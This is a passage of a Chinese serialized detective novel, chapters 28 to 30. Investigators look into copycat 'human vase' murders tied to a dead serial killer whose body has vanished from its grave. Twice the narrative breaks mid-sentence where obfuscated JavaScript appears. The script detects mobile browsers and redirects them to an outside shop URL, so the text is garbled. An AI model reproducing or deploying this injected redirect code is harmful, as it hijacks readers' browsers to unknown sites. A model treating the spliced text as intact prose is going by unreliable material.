他的母亲被他逗笑,拿出自己准备好的小食,让他给万仙带去。 “你以后也请他来我们家做做客。”母亲嘱咐王博多。 王博多抿抿手指,玩笑道:“要仙儿哥出场可是得花不少银两的。” 母亲没好气地打他,他笑着躲过,然后提着小食离开了家,脚步轻盈地回藏乐楼。 最近藏乐楼里,满是锦冠绣服的宾客,皆为万仙而来。他们或为探寻这位断案奇才之真容,或欲一睹这位文采斐然的才子风采。 一开始,面对络绎不绝的新客,花姐喜上眉梢,并为自己用一间免费的客房就留住了万仙而自鸣得意。后来见万仙疲于应付这乌泱泱的客人,她便不好意思再招呼万仙出来同仰慕者会面。 “能否见到万仙公子,全凭运气,谁要起哄拱他出来,我恕不招待!”花姐潇洒地发话,万仙便清净了不少。 尽管如此,还是有不少人或堵在藏乐楼门口,或端坐在藏乐楼里,只为“凭运气”蹲到万仙。 有些人蹲守万仙,只为与他交谈,以表达对他作品的喜爱之情。有些人则是听闻他记忆卓群,神机妙算,希望他能协助破解谜案——尽管他们口中的谜案,往往是诸如物品离奇丢失之类的琐碎小事。 这类琐碎的请求日益增多,王博多听之都感到头痛不已,万仙更是无暇应对,于是便委托王博多逐一回绝了这些请求。 今日也是如此。 从踏入藏乐楼,到前往万仙所居的雅间“清寒夜”的途中,宾客们都认出了王博多。他们蜂拥而上,纷纷请求他代为向万仙传话,这让王博多感觉自己如同置身于喧嚣的鸡窝之中。 等好不容易挣脱人群,冲进清寒夜关上门,王博多发现自己身上的各个角落,都塞满了递给万仙的信件,甚至还有人在他的后衣领挂了两条送给万仙的腊肠! 王博多无可奈何地一边摘下腊肠,一边抖落一身信件。 清寒夜中,万仙手捧书卷,斜倚桌边细细翻阅。乌黑的长发垂落肩头,更衬得他那本就似玉的脸庞愈发精致透白。听闻门口传来少年特有的脚步声,他抬眸望去,眼中泛起淡淡笑意。 “回来了?”他轻声问道,声音如雨打细竹般清脆。 “嗯。”王博多一手提着腊肠,另一手将母亲托他带来的小食推至万仙面前。 万仙目光落在那盒小食上,墨眉舒展,猜测道:“是地莓圆?” 王博多点头回应:“我娘知道你喜欢吃地莓圆,特意亲自下厨为你做的。” “感激不尽。”万仙拾起一枚地莓圆。这种由鼠曲草做成的糯米圆子,外表呈青绿色,包裹着茭白肉末馅儿,口味独特,甚是美味,乃是凌洛城的特色小食,亦是万仙最爱的点心。于是他边吃边连声赞叹:“好吃,好吃。” 王博多听了心中欣喜,说着下次还给你带,然后把腊肠放到一边,蹲下来开始整理落在地上的信。 待信全部理好,他问万仙:“仙儿哥,要不我替你先筛一遍这些信吧?” 万仙捕捉到了他话语间隐含的一丝忧虑,无奈地笑了笑。 自新书问世以来,不少读者慕名而至,以溢美之词,盛赞其笔力雄健,所写的故事精彩绝伦。然而,世间万物,阴阳相生,赞誉与非议也总是并存的。 有些人认为万仙的追随者,素养欠佳,竟对这种通俗之作情有独钟,而那些愿意出版万仙作品的书商,更是罪大恶极。他们义愤填膺地表示:“唯有四书五经这等传世经典才配得上印刷流传,而如此肤浅的话本小说,纯属糟蹋纸张!” 有人则对万仙写的故事心存不满:“书中有将死者塑造成圣人之嫌,可谁也说不准,他是不是以瞧女子落泪为乐才去的碎星湖。而最后,他所谓的‘想写书救人’,或许也只是神探臆想而已。这种美化,教人恶心!烂书一本!” 这些未含污秽之词的评价,已然算是“非议”中较为温和的。至于那些在信中夹带符咒,诅咒万仙下地狱,甚至恐吓他若再敢著述拙劣之作便断其手足的,才是真正令人不忍卒读。当然,也不乏有人当面让万仙难堪——那人假扮仰慕者,请求万仙挥毫题字,待万仙落笔后,他却当众将书撕毁,引得路人纷纷侧目,议论纷纷。 面对这些恶意,万仙却泰然处之。目睹飞扬的碎纸,他竟也能以笑脸相迎,轻道一声:“破费了。”甚至有时,他眼中还会闪现出一抹好奇,宛如飞鹭发现了新的湖泊,又似当铺掌柜收到了世间罕见的珍奇之物。 王博多难以理解万仙这种好奇心。在他看来,当众撕书的行为粗俗不堪,而写信恐吓更是令人愤慨至极!因此,他时刻警惕着,以防有人再次伤害万仙。对于递给万仙的信件,他也希望能够先审查一番。 万仙虽对相向的恶语毫不在意,却深知王博多的好意。于是,他轻轻翻动手中的书卷,冲着王博多微微点头,示意他去筛选信件。 王博多领命后,坐到万仙对面,开始一封封地拆信,逐字逐句地细读。 今日的信件里虽无恶意,但其中几封颇为有趣。 “仙儿哥,你还记得上次我们去调查鸢楚姑娘不在场证据时,去过的那家戏楼吗?他们新上任的班主又想请你为他们撰写戏本了。他们甚至已经拟好了契书,按好了手印,就等你签字确认呢。”王博多掏出一纸契书,“契书上的费用部分是空着的,他们表示我们可以自行填写。仙儿哥,你对这个邀约感兴趣吗?” 万仙瞄了一眼契书,果真瞧见班主已经签字按手印,就等他开价了。 然而,他沉思片刻,最终还是轻轻摇头,开口道:“麻烦你代我拟一封回信,就说我近来思绪匮乏,灵感枯竭,实难应允,还请见谅。” “上次你也是这样拒绝人家的。”王博多眼珠一转,提议道,“要不我给他开出 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“看来是那断腿卧床的妻子为了摆脱嗜酒的丈夫,与族兄共同策划了这起阴谋。他们精心设计,使丈夫在醉酒状态下,误以为妻子化作蝴蝶飞走了。随后,他们特意写信给你,意在引导你揭示这一推测。如此一来,族兄便能堂而皇之地带领众人寻找所谓妻子的尸体。他们必定早已准备了一具同样断腿的女尸,以此来给那丈夫定罪!” 王博多分析完毕,沾沾自喜地瞥了万仙一眼,却见万仙无奈地摇了摇头。他大惊失色,急切地问道:“事实并非如此?那这事的真相究竟是什么?” “我认为,可能是嗜酒的丈夫失手将妻子杀害,此事被族兄得知。于是丈夫贿赂族兄,请求他协助隐瞒这一罪行。然而,妻子的死终究难以长久隐瞒。经过反复思量,他们最终决定让族兄给我写信,试图引导我推理出是族兄与妻子合谋购买女尸,以此来诬陷丈夫。 “族兄的诡计被识破,必然会出来哭诉,声称自己是逼不得已才出此下策。由于族妹无法忍受嗜酒的丈夫,作为族兄的他只得替她策划了这个既能脱身又能惩罚丈夫的计谋。如今,他的族妹已被他托人送出城外。他愿意为买女尸诬陷他人之事接受惩罚。 “这‘无奈之举’所犯的错误,自然远不及杀人之罪那么严重。这位族兄只需在牢中服刑一段时日,便会获释。届时,他便能获得丈夫所承诺的更多钱财。 “若一开始就让丈夫谎称妻子逃走,街坊邻居自然不会轻信。然而,在经历了这番起伏跌宕、荒唐离奇的事件后,他们便会逐渐相信,妻子并未离世,而是在族兄的协助下悄然逃走了。尽管丈夫会因此受到邻里的非议,却能摆脱杀人犯的嫌疑。至于那真正的妻子的尸体究竟藏匿于何处……这就需要官府的人去深入调查了。” 万仙就着地莓圆分析完,王博多已然听得瞠目结舌。 “仙儿哥,你仅凭一句话便能推测出如此之多!真是聪慧得令人惊叹!”王博多最擅长奉承万仙,“即便是京城的天神渊,也不过如此吧!” 提及天神渊,万仙瞬间又愣了一下。然而,他随即昂首,露出一抹淡笑,缓缓说道:“别忘了将此事通报给衙门。” 王博多刚要应声,便听见有人拾级而上,扣响了清寒夜的房门。未经花姐允许,此刻的宾客是不得擅自上二楼拜访万仙的。能扣响清寒夜房门的…… “难道是那大头?”王博多腾地从凳子上跃起,已然摆好了与雾山角斗嘴的架势。然而,房门开启,映入他眼帘的却是一张阔额方脸,并非雾山角。 王博多觉得这张脸既陌生又熟悉,他确信曾在某处见过,却一时难以忆起。 “在下吴扁,乃衙门差役。”来人一拱手,语气急切地说,“此次登门,特来恳请万仙公子援手相助。” 王博多终于回想起,在之前的两个案件中,他曾在差役的队伍里见过此人。然而,他依旧按照惯例一番推脱道:“众所周知,万仙公子如今已不再接任何差事了。” 吴扁对他的搪塞置若罔闻,继续道:“我们想请万仙公子帮帮小师爷。” “雾山角?” “正是。”吴扁面露忧色,“小师爷总是独来独往,一人查案。寻常案件尚可,但此次案件……非比寻常。” 听到吴扁此言,屋内的万仙已放下手中书籍,对王博多道:“王博多,还不速速将人请进。” 王博多恍若梦醒,应了一声“哦”,才将吴扁引入清寒夜,随后关上了房门。 “雾山兄此次碰到的是何种案件?”万仙问道。 吴扁却反问道:“不知万仙公子是否知晓,‘小师爷’这个称号是如何得来的,以及他为何总是独来独往?” 万仙此前就对雾山角“小师爷”这一称呼心存疑惑。师爷本应辅佐知县处理政务,如文书、钱粮等事务,而雾山角却四处查案,捉贼缉凶,行事更似捕快。为何凌洛城中众人皆称他小师爷? 王博多曾略述其中缘由,但今日,万仙想听这位与雾山角共事的差役细细道来。 于是,他借花献佛,拾起一枚地莓圆递给吴扁,恳切道:“还望吴兄告知。” 吴扁接过地莓圆,咬了一口,道:“这一切,还需从小师爷随知县大人赴凌洛城上任说起……” 28.第三案:魔再现02 雾山角随舅舅魏天知来凌洛城上任之前,族中长辈便再三叮嘱魏天知,务必为雾山角安排一份稳妥安全的差事。于是,魏天知决定让雾山角留在自己身边,处理文书。 当时,衙门中已有一位师爷,名为沈松。沈松曾是上一任知县的谋士,虽不会武功,却聪慧英勇,处理文书工作井井有条,深得魏天知的赏识。因此,魏天知安排雾山角拜沈松为师。沈松作为大师爷,雾山角自然便成了小师爷。 然而,新上任的知县并不知情,沈松自幼的梦想就是锄强扶弱,匡扶正义。他之所以选择进入衙门任职,正是为了借助职务之便,为百姓洗雪冤屈,追查真相。 不久,他的这一“爱好”被徒弟雾山角察觉。雾山角喜出望外。他自幼习武,满腔热血,本就不愿只洒在案牍之间。如今遇到了一位热衷惩恶扬善的师父,他便求他带着他一同探查悬案。 沈松拗不过徒弟的请求,半推半就,终是答应了他。于是两人除了处理文书工作,平日里还会携手调查各类疑案、难案。 在那段日子里,雾山角从沈松身上学到了不少断案的本事,二人也为知县解决了几桩棘手的疑案。这令魏天知也逐渐忘记了族中长辈的嘱托,默许雾山角可以放下手中的文书,像捕快一样投身查案。 沈松十分喜欢与雾山角这个徒弟共事。他赞赏他目达耳通,还表示,多亏了他武功高强,才能让他们捉拿凶犯时,易如反掌。不仅如此,那年雾山角生辰,沈松还赠予了他一件宝贝。那便是他从异宝博多寻来的不忍剑。 他说之所以选不忍剑,不仅是因为它削铁如泥,更是希望雾山角记住,对善者要“心怀仁慈,不忍杀戮”,对恶者要“刃向不义,不忍纵恶”。 雾山角正缺一把称手的武器,见到不忍剑,欢喜不已。他誓要带着这把剑,继续同沈松激浊扬清。怎料,没过多久,沈松就在查案过程中不幸丧命! 那时,凌洛城里出现了“人形花瓶”连环凶杀案。 第一起案件发生在春天,一名卖鱼翁在回家途中惨遭杀害,其身躯被埋入土中,仅剩脑袋露于地面,嘴里塞满了杜鹃花。七日后,第二起案件接踵而至,一名孩童在街上被掳走,被找到时同样呈现这种恐怖的死状。 人们意识到这并非孤立事件,而是连环凶杀案,纷纷担忧自己会成为下一个受害者。一时间,凌洛城内人心惶惶,恐慌情绪四处蔓延。 自第一起案件发生以来,沈松和雾山角便全力追查凶手,此时更是感受到前所未有的压力,他们竭尽全力,誓要侦破此案。 然而,凶手随意挑选受害者,规律难寻,沈松和雾山角调查了许久也未能锁定凶手。随后,第三起案件发生了。 夏日,一名女子惨遭杀害,被发现时已被埋入土中,变成了人形花瓶。不过,她口中塞的花并非杜鹃,而是荷花。凶手不仅随意挑选受害者,而且往受害者口中塞的花都是应季随手采摘的,这无疑加大了调查的难度。 此时,沈松和雾山角已是心急如焚。由于案件迟迟未破,他们遭到了城中百姓的纷纷指责。知县也因此受到诟病,被批办事无能。在多方压力之下,沈松和雾山角夜以继日地继续展开调查,两人一度累得眼圈乌青,神态尽显疲惫。 好在,沈松与雾山角凭借前几次案情的分析,大致推测出了凶手的行动的范围。 沈松决定采取行动,试图引诱凶手现身。 雾山角身材高大健壮,恐怕会吓跑凶手。于是,沈松打量了一下手无缚鸡之力的自己,叹了口气,对雾山角笑道:“看来还是得你师父亲自出马。” 之后,他便佯装自己是失意男子,醉倒在林间的树下。雾山角则守在附近的树上,随时待命。 他们这种引诱的手段并未能一击即中,成功伏击凶手。一连几次的行动均以失败告终。无奈之下,他们只得重新进行部署。 直至一个细雨飘洒的秋夜。 经历数日辛苦的蹲守,雾山角已感到困意难忍。那晚,他一度心生放弃行动的念头,但望着被逼得眼红的沈松,他还是选择了沉默。他深知师父内心的愤恨与急切。那凶手使他们整个衙门遭受百姓的责难,他也渴望早日将他绳之以法。于是,他照例翻身上树,蹲守在枝头,目光紧盯着不远处伪装成醉酒男子的沈松。 夜色如墨,愈显浓稠。迟迟不见凶手踪影的雾山角,在漫长的等待中,不知不觉地倚靠树干,阖上了双眼。 待他听到异响,重新撑开眼帘,只见一个黑影正用绳子紧紧勒住沈松的脖子。 “呃……”沈松拼尽全力挣扎,却再也无法发出其他求救的呼喊。 雾山角心中一凛,迅速抄起不忍剑,飞身疾掠而去。 那凶手瞬间意识到自己已落入圈套,却毫无惊慌之色,甚至勒住沈松的手也未有一丝松懈。或许从他犯下第一起案件时,便已预见到自己终将面临这样的结局,因此他对死亡早已无所畏惧,反而全力沉浸在这最后一次杀戮的快感之中。 雾山角眼里恨出血来,他疯了一样的把剑刺向那凶手。 凶手却在最后一瞬,捏住沈松的下颌,逼他张开了口。然后,他诡谲地一笑,抄起带在身旁、已经整理好的一束金黄菊花,塞进了沈松的嘴巴里。 他虽没办法再像之前那样,将死者的身躯埋进土里,却也勉强完成了他的最后一支人形花瓶作品。 下一瞬,雾山角的不忍剑迅猛地刺入了他的身体。 那凶手感受到一股愤怒的力量,犹如虎爪,撕裂了他的灵魂。 然而,他觉得无所谓了。 他口吐鲜血,双手捧起沈松那张毫无生气的脸庞,用尽最后的力气,吐露出一句魔鬼般的低语。 “真好看。”话音刚落,他的瞳孔便失了焦,身体无力地滑落在地。 他手上的力量骤然一松,沈松的身体也随之滑落。 “师父!”雾山角悲痛欲绝地呼喊,急忙扶住沈松,摘掉了他口中的菊花。 然而,沈松已经气绝身亡,无论他如何摇晃,沈松都毫无反应。 “师父——”雾山角满怀愧疚地紧紧抱住沈松的遗体,两行悔恨的泪水顺着脸颊滑落。细雨依旧绵绵不断地飘洒。雾山角的灵魂仿佛被一层湿润的枷锁禁锢住了。 “对不起……对不起,对不起……”他不断地重复着道歉。 如果他当时提出放弃今晚的行动,如果他没有因疲惫不堪而昏睡过去,如果他能再敏锐一些让自己早点惊醒,如果他的剑能再快一点刺死凶手…… 如果,如果,如果…… 然而,世间终究没有如果。 “自那以后,小师爷便开始独来独往,独自一人查案。尽管知县大人多次提醒此举不妥,他却始终坚持己见。我想,他大概是害怕自己再次连累同伴吧。”在清寒夜中,吴扁叹了口气,说道,“万仙公子,你初到凌洛城便声名鹊起,被百姓誉为凌洛城第一神探。那时,小师爷的确心生不悦。他不仅不满百姓遇事首先求助于你而非他,更气你的名头轻而易举地盖过了他的师父。所幸后来你们在机缘巧合下,共同破解了两桩疑案,小师爷在衙门中也逐渐开始提及你的好。毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090650|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他素来敬仰有探案才智之人,无论是他的师父沈松,还是京城的天神渊……” 万仙回想起之前在落子观偶遇雾山角时的那段对话。当他问及“雾山兄,你最崇拜的是谁?”时,雾山角的脸上掠过一丝淡淡的惆怅。想必彼时他心中所想的是他师父沈松的名字。然而,他终究不敢触及那道深藏愧疚的伤痕,于是稍作停顿,笑了笑,脱口而出了天神渊这个名字。 万仙在心里哀叹一声,然后问吴扁:“那么吴兄,你刚才说的非比寻常的案子,莫不是与小师爷的师父有关?” “公子聪慧!”吴扁说道,“那个杀害沈松、把人当作花瓶的恶魔,仿佛从地狱重返人间了……他又犯下一起命案!一男子惨遭杀害,尸体被埋于地下,仅头部露出地面,口中塞着一株血红色的曼陀罗华。小师爷目睹这具尸体后,倍感震惊,甚至还发起了高烧。如今他身体尚未痊愈,却已独自外出查案。我们衙门众人皆担忧他这般状况会出意外。然而,他坚决不让我们跟随……无奈之下,我只得前来求助万仙公子。或许小师爷会愿意接受万仙公子的协助,毕竟你是他欣赏之人……” “那你可知道小师爷现在去了何处?”万仙问。 “他去找当年凶手的姐姐了。”吴扁补充道,当年犯下连环命案的凶手名叫莫风藤。他自幼喜爱陶艺,并曾学习过相关技艺,烧制过花瓶。然而,他大概觉得陶泥制成的花瓶不够美观,最终自行放弃了这门手艺,沦为游民。不久之后,他便犯下命案,将人杀死,当作花瓶,以此取乐。 莫风藤死后,他的姐姐莫雨焉前往衙门为其收尸。因担忧愤怒的民众报复、毁坏坟墓,莫雨焉未为莫风藤立碑,亦从未透露其墓地的具体位置。 所以雾山角准备去找莫雨焉,逼问出莫风藤坟地的下落。他要瞧瞧,莫风藤是否真从坟里爬回来了! 听完吴扁的话,万仙果断决定,先追赶至雾山角再作打算。 然而此刻,藏乐楼内坐满了专程等候他的宾客。若他就这样直接下楼,恐怕会被众人围住,难以脱身。于是,他向王博多递了个眼色。 王博多心领神会地点了点头,先将吴扁送走,随后打开了清寒夜的窗户。 此前为了躲避那些不请自来的仰慕者,万仙与王博多不得不翻窗而逃。今日,他们再度如法炮制。 只见万仙从柜子中取出白扇,收入袖中,随即迅速跃出窗外。 王博多在后头低声叮嘱:“仙儿哥,你可得小心些。你毕竟不像我,还练过一点武功……欸欸欸,你怎么又这么轻松地跳下去了?” 王博多实在想不通,为何万仙看起来像个文弱书生,身手却如此敏捷。 他暗自揣测,必定是因为脑子聪慧,连身体也跟着灵巧了! 怀着几分羡慕,王博多也随之跃出窗棂。 在去找莫雨焉的途中,王博多忍不住开口道:“仙儿哥,这新案子未免也太离奇了吧!如果死尸真的能从坟墓里爬出来,那这天下岂不是要大乱!” “你的意思是,这案子并非莫风藤复活所致?” “怎么想都觉得不可能吧……” “那你觉得为何有人要模仿莫风藤制作那些人形花瓶?” 万仙这一问,让王博多皱紧了眉头,摇头不止。 “我不知道。”王博多回答,“但这案子显然是针对大头来的。他带病查案,可千万不能自乱阵脚,中了凶手的圈套啊。尽管我也不清楚,凶手究竟在谋划着什么……” 万仙没有再回应王博多的话,此刻,他的眼底也掠过一丝忧虑。 29.第三案:魔再现03 万仙和王博多找到莫雨焉的屋舍时,屋舍的小院木门大敞着,仿佛被谁猛力地踹开了。万仙和王博多对视一眼,抬步进入,随即听到茅屋内传来了雾山角的声音。 “说!你把他埋到哪里去了?”雾山角的声音犹如千年寒冰,令人不由自主地打了个寒颤。 王博多猛地推开了屋舍那扇虚掩的门,紧随其后的万仙便看到雾山角正逼问一位梳着发髻、身材矮小的女子。 此刻,雾山角已将莫雨焉逼至墙边。那把不忍剑正架在她的肩头,剑尖直抵她身后的墙壁。 莫雨焉虽已被逼得无路可退,但她的眼中却满含倔强之色,仿佛对雾山角毫无惧意。 听到有人进屋,二人不约而同地用余光扫向万仙和王博多,但随即又像是无暇顾及他们似的,迅速收回了目光。 雾山角再次逼问莫雨焉:“说!莫风藤的坟到底在哪?” “阿弟犯下弥天大罪,丢了性命,实属他咎由自取。我替他收尸,只为让他死后得以安宁,这是我作为阿姐应尽的道义。小师爷又何苦逼我告知他的坟茔所在?”莫雨焉梗着脖子道,“自打阿弟那桩案子了结以来,我在城中饱受所谓‘正义’的欺凌。好不容易躲到这偏远之地苟且度日,作为一介草民,我仅求些许安宁。小师爷,请您不要再逼我了!” 发着高烧的雾山角,脸色通红,额头上渗出细密的汗珠,握着剑柄的手也轻微地颤抖起来。 “你……”他怒目而视,却无法说出一句完整的话。 万仙扫了一眼王博多,王博多立刻心领神会,嬉皮笑脸地走上前。 “小师爷,有事咱们好好商量,何必摆出这副咄咄逼人的架势呢!”他伸出双手,轻轻地将不忍剑从莫雨焉肩上移开,又故意道,“我们老百姓,又不是不通情达理的恶棍!” 听到王博多的话明显偏向自己,莫雨焉眼神一动。 而她面前的雾山角,在不忍剑被移走后,顿时泄了气,身体不由自主地变得软弱无力。 原来他把剑抵在墙上,不仅是威慑莫雨焉,更是让自己撑住身子! 万仙赶紧上前,悄无声息地抽出折扇,轻轻抵在雾山角的后腰上,给他借去了力,同时也助他维持了气势。 “小师爷此番查案心切,行事确实鲁莽了些。”王博多面带讨好的笑容,对莫雨焉说道,“还望姑娘见谅。” 莫雨焉没好气地抽身从墙边走开,道:“我阿弟已死,小师爷却说当下城中发生的命案与他有关,简直是荒唐至极!谁知道他是不是痛恨我阿弟害死他师父,想把我阿弟的骸骨挖出凌辱?” “他要是真的想凌辱你阿弟的尸骨,何须等到现在才来逼问你?”万仙道。 莫雨焉上下打量着眼前这位黑发青衣的男子,脸上流露出疑惑的神情,冷声道:“谁又能保证他没有这样的念头?!” 这时,雾山角恢复了一些气力,后腰从万仙的扇子上移开,道:“万仙兄,莫要同她……” 他的话还未说完,就被莫雨焉打断。 “你是万仙?写话本小说的万仙?”她脸上的疑惑变成了惊喜。 王博多的眼珠子骨碌碌地转,看看莫雨焉,又看看万仙,心中暗想:这里也有仙儿哥的仰慕者? 万仙却毫无惊色。他明白躲在此处的莫雨焉平日里必定颇为无聊,找些话本小说来消遣也并非什么稀奇事。于是,他拱手作揖,淡然道:“正是在下。” “你在与小师爷一同查案?你书中描绘的那位与主角一同探案的黑衣武探,该不会就是……”莫雨焉惊异地望向雾山角。 万仙不置可否。 王博多则耸了耸肩膀,说:“在凌洛城中,这早已是众所周知的事——万仙探案书中的黑衣武探,原型正是这位小师爷。” 莫雨焉闻言,不再像先前那般固执,声音逐渐柔和:“如果小师爷就是你笔下的黑衣武探,他又怎会愚蠢地以为,人会死而复生呢?” “但城中确实发生了与你阿弟曾经犯下的案件极为相似的命案。”雾山角说道,“有人正在模仿你阿弟的手法作案。” “或许他是想将罪责推到你已故的阿弟身上。”万仙补充道。 莫雨焉闻言,愤愤咒骂:“可恶!” 万仙赶紧恳求道:“所以雨焉姑娘,你可否带我们去你阿弟的坟前探看?” 莫雨焉不解万仙为何也要寻找她阿弟的坟墓,紧皱起眉头,目光锐利地打量着面前的三人。 此时,雾山角心中的急躁已稍有平息,他弯腰行礼道:“雨焉姑娘,方才我因探案心切,言行失当,还请姑娘宽宥。” 万仙也随之行礼,语气急切:“此事关乎人命,形势紧迫,恳请姑娘务必相助。” 目睹两人皆行礼相求,王博多虽不知该如何言说,却也迅速双手抱拳,俯下身去。 “什么人死复生,魔返人间,纯属无稽之谈!”莫雨焉又对三人斥责一番,终是叹了口气道:“但既然你们如此坚持,我便带你们去瞧一眼,也好让你们彻底死了心!不过你们必须向我保证,绝不可将那坟的位置泄露给任何人!” 王博多闻言,立刻挺直腰板,连声道:“我保证!我保证!” 万仙和雾山角则沉稳地点了点头。 莫雨焉咬咬牙,终是带着万仙三人出了门,朝附近的竹林行去。 路上,王博多不由地对万仙感慨:“还是咱们仙儿哥面子大!小师爷威逼不成,仙儿哥一句‘正是在下’就化解了对方的强硬态度。这就是成名的好处啊!” 万仙一边用手挠挠耳朵,一边举起折扇,作势要敲向聒噪的王博多的脑袋。 王博多早已练就了躲避扇子的本领,轻松躲过万仙的攻击,随后冲万仙嘿嘿一笑,转身扶住了生病的雾山角。 “小师爷,你注意脚下。那些竹笋可是会绊脚的。” 万仙收回折扇,看了一眼强撑着的雾山角,无奈地摇了摇头。 他其实也觉得,这坟是否去看都无关紧要,毕竟化为白骨的尸体怎么可能从坟里爬出重返人间?但他知道雾山角心中已有疑虑,若不能亲眼确认,他恐怕难以安眠。因此,他还是请求莫雨焉带他们来找坟。 就在万仙思索之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098477|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际,走在前头的莫雨焉突然向前跑去。 “她要逃跑?”雾山角撑起眼帘,就要迈开沉重的步子追去。 万仙急忙抬起握着折扇的手,拦住了雾山角。 他示意王博多扶好雾山角,自己则追了上去。 “雨焉姑娘……怎么了?” “不可能!不可能!”莫雨焉惊叫起来。 万仙顺着她惊愕的目光望去,只见不远处的一处土堆被翻得一片狼藉,泥土七零八落地散在地上,地上还搁着一副棺材盖。 “这是你阿弟的坟?”连万仙也惊讶不已。 莫雨焉并未回答,而是浑身颤抖地走向已被挖开的坟墓。 她这副模样,已是答案。 万仙跟着走到坟边,朝坟坑望去,只见坑中有一副棺材,但棺材里空空如也。 莫风藤的尸骨竟不翼而飞! 难道他真的变成了魔鬼,重返人间了?! 这时,雾山角也已来到万仙身旁。他看到空荡荡的棺材,眼前倏地闪过噩梦中的场景。须臾,他感觉天旋地转,双脚发软,身子不由自主地朝那棺材跌去。 一旁的王博多猛地反应过来,伸手去拉,但已来不及。只见一道青影闪过,万仙竟牢牢抱住了雾山角,将他拖了回来。 “对不起仙儿哥……”王博多赶紧重新扶好雾山角。 万仙叹了口气,道:“我们先回去再说。” 雾山角被高烧击倒,再也支撑不住了。王博多受万仙之命,将他送往医馆。万仙则留下来,询问莫雨焉。 看到阿弟的尸骨离奇失踪,莫雨焉失魂落魄。 “怎么会……怎么会这样……”她倚在家中的四方桌前,不住呢喃。 万仙问道:“除你之外,可有他人知道莫风藤的坟在哪里?” “不会的,只有我知道他的坟在哪里。”莫雨焉道,“当初是我一人替他收尸,替他埋葬的。我知道你要问什么……我一女子,要办好这些事,的确不易。但谁会帮我处理这罪大恶极之人的尸首?大家恨不得将他的尸骸碾成齑粉。可·他毕竟是我的亲阿弟,我做阿姐的,只能一个人偷偷摸摸地把这事办了。” 万仙想起前些日子正是清明,于是问道:“清明时,你可有祭祀过他?” “我是有去给他上过香。”莫雨焉答道。 “那时可察觉有人跟随?” “跟随?”莫雨焉茫然道,“你是说,有人趁我祭祀时跟随我,发现了我阿弟的坟?然后将他的尸骨挖了出来?” 万仙不置可否。 “谁会这么无聊费尽心机跟踪我?”莫雨焉说完,迟疑道,“该不会是之前那些受害者的亲属吧?” 万仙一时无法回答她的问题。他乌黑的双眉此时皱成河川,低头喃喃:“可那模仿作案又是怎么回事?” “该不会真是我阿弟重返人间继续作案吧?” 明明之前还坚信死而复生不过是无稽之谈的莫雨焉,面对这离奇的变故,竟也开始动摇了。 不详的预感再次蹿上心头,万仙眼底的忧色越来越浓。 30.第三案:魔再现04 衙门后堂是知县魏天知的居所,魏天知特意将一间朝南的房间分配给了雾山角。因此,雾山角看完病后,便直接返回了衙门。魏天知见侄儿病得双腿发软,立刻让他回屋休息。雾山角回到房间,头一沾枕头便昏睡过去。 万仙和王博多前去看望,得知他尚未醒来,正准备离开,却遇到了魏天知。魏天知身着素色时服,一条黑腰带一丝不苟地系在腰间,端庄的面容上胡须修剪得整整齐齐,深邃的眼眸中透出威严。 “知县大人。”万仙收起折扇,立即作揖。王博多见状,也学着弯身行礼。 “你就是万仙?”魏天知问道。 “正是在下。” “没想到知县大人也知道我们仙儿……咳咳,我们万仙公子?”王博多插话道。 “如今凌洛城里,大家都爱看、爱听你写的探案书。我也听雾山角提起过你,说你神机妙算,常能发现他都无法察觉的端倪。” “小师爷过奖了。”万仙谦虚道。 “莫要谦虚。”魏天知看了一眼雾山角的房间,叹了口气,“雾山角高烧不退,难以办案。可如今凌洛城里又出现了被当作人形花瓶的死者,本知县也甚是忧虑啊。可是本知县还有其他要务在身……听闻万仙公子聪慧过人……” 魏天知恰到好处地停顿,言外之意显而易见。万仙自然明白他的意图。然而,不等他回答,王博多抢先道:“我们愿意为凌洛城的百姓,上刀山下火海!” 他这番豪言壮语说得惊人,万仙忍不住想敲他的脑袋,但在知县面前,他还是忍住了。再说,这案子他本就打算替雾山角查,因此最终并未提出任何异议。 魏天知从袖口掏出一块令牌,递给万仙,说:“持此令牌,你便是衙门之人。衙中差役,也可听你调遣。” 王博多盯着那刻有府衙印章的令牌,脸上神色从惊到喜。万仙则坦然自若地接过,应道:“在下必定竭尽全力探查此案。” 辞别魏天知后,万仙决定先去查看昨日那名死者的尸体,便委托差役吴扁带路。前往殓房的路上,王博多捏着知县赐的令牌,左右打量,喜形于色。 “仙儿哥,我们要是破了这案子,定会得到知县大人的赞誉。你再将此案写成话本小说,我就能把你的书卖出更高的价钱!” “这才是你答应上刀山下火海的原因?” 王博多忙道:“哪有哪有!抓住凶手,为民除害,才是我的本意!但若为民除害,还能让仙儿哥的书更为畅销,那就……”他想了想,憋出一个成语,“锦上添花,锦上添花。” 说话间,吴扁已将他们带到殓房。 掀开白布,昨日那名死者苍白的脸庞映入万仙眼帘。他发现死者脖颈处有一条勒痕,勒痕附近血肉模糊,与当年莫风藤犯案的手法如出一辙!凶手很可能趁死者不备,从背后袭击将其勒死。万仙一边思索,已边查看尸体上的尸斑,紫红色的尸斑分布在尸体的低洼部位,有几处渗出血水。 “仙儿哥,你可有什么推测?”王博多小心翼翼地问道。 “从尸斑的状态来看,死者死亡的时间应该在前天夜里?”万仙询问吴扁。 